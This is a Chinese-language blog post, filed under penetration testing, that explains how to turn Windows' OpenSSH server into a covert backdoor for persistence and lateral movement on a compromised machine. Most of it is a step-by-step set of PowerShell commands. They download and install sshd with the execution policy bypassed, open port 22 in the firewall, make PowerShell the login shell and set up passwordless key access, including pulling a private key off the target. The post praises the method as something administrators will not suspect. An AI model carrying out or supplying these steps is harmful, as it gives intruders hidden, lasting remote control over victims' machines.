使用openssh做后门

作者:小俊 分类: 渗透测试 发布于:2021-8-18 8:35 ė456次浏览 60条评论

利用场景:

控制目标机器,非交互环境下一键安装上sshd 服务, 即可远程控制,在内网渗透中作为权限维持横向移动后门岂不美哉?windows 新版本都带ssh客户端(Window 10 build 1809 and later or Windows Server 2019),哪个管理员会想到sshd 竟然是用来远控的呢?


SSH 优势:

  • 流量加密

  • 微软签名

  • 完全交互

  • 证书登录

  • scp 传输文件


缺陷:

  • 安装服务需要管理员权限

  • 会产生4624登录日志



具体操作过程

以下全都是powershell命令:

1. 下载OpenSSH

注:国内网访问github非常慢,所以采用github镜像站,觉得不放心可以使用github原始地址下载。


[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ## 解决ssl报错 ((New-Object System.Net.WebClient).DownloadFile('https://download.fastgit.org/PowerShell/Win32-OpenSSH/releases/download/V8.6.0.0p1-Beta/OpenSSH-Win64.zip', "$env:LOCALAPPDATA\Temp\OpenSSH-Win64.zip"))


2. 解压OpenSSH

解压目录 C:\Program Files (x86)\OpenSSH-Win64

cd $env:LOCALAPPDATA\
Expand-Archive -LiteralPath $env:LOCALAPPDATA\Temp\OpenSSH-Win64.zip -DestinationPath "$env:ProgramFiles(x86)"

3. 安装OpenSSH 服务


坑: 不能安装在 c:\Users\xxxx\ 任何目录及子目录, 否则会出现 client_loop: send disconnect: Connection reset  错误

cd $env:ProgramFiles(x86)\OpenSSH-Win64\ Set-ExecutionPolicy Bypass -Scope Process -Force;.\install-sshd.ps1 Set-Service sshd -StartupType Automatic Start-Service ssh-agent Start-Service sshd


4. 配置windows 防火墙

高版本
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 小于2012 netsh advfirewall firewall add rule name=sshd dir=in action=allow protocol=TCP localport=22


5. 配置powershell 作为默认ssh shell


New-ItemProperty -Path "HKLM:\SOFTWARE\OpenSSH" -Name DefaultShell -Value "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -PropertyType String -Force ## 当然也可以用wsl ,默认为cmd.exe


6. 配置免密登录

## 方法1 ## 1. Login under proper user. ## 2. Execute ssh-keygen.exe. ## 3. Copy $Env:UserProfile\.ssh\id_rsa to your ssh client. ## 4. Move or add $Env:UserProfile\.ssh\id_rsa.pub to $Env:UserProfile\.ssh\authorized_keys.  $key = "$env:USERPROFILE\.ssh\id_rsa" if (!(Test-Path "$key")){
.\ssh-keygen.exe  -t rsa  -N "''" -f $env:USERPROFILE\.ssh\id_rsa
Get-Content $key
}
Get-Content $key  ## 方法2(推荐) 客户端运行 ssh-keygen.exe  -t rsa
将生成后的$env:USERPROFILE\.ssh\id_rsa.pub 复制到服务器 $env:USERPROFILE\.ssh\authorized_keys



其他:


sshd 配置文件:

%programdata%\ssh\sshd_config  可修改默认端口


参考文章:


  • https://larionov.pro/en/articles/2019/fast-setup-openssh-on-windows/


  • https://github.com/PowerShell/Win32-OpenSSH/wiki/Security-protection-of-various-files-in-Win32-OpenSSH#administrators_authorized_keys

本文出自 小俊博客,转载时请注明出处及相应链接。

发表评论

电子邮件地址不会被公开。必填项已用*标注


Ɣ回顶部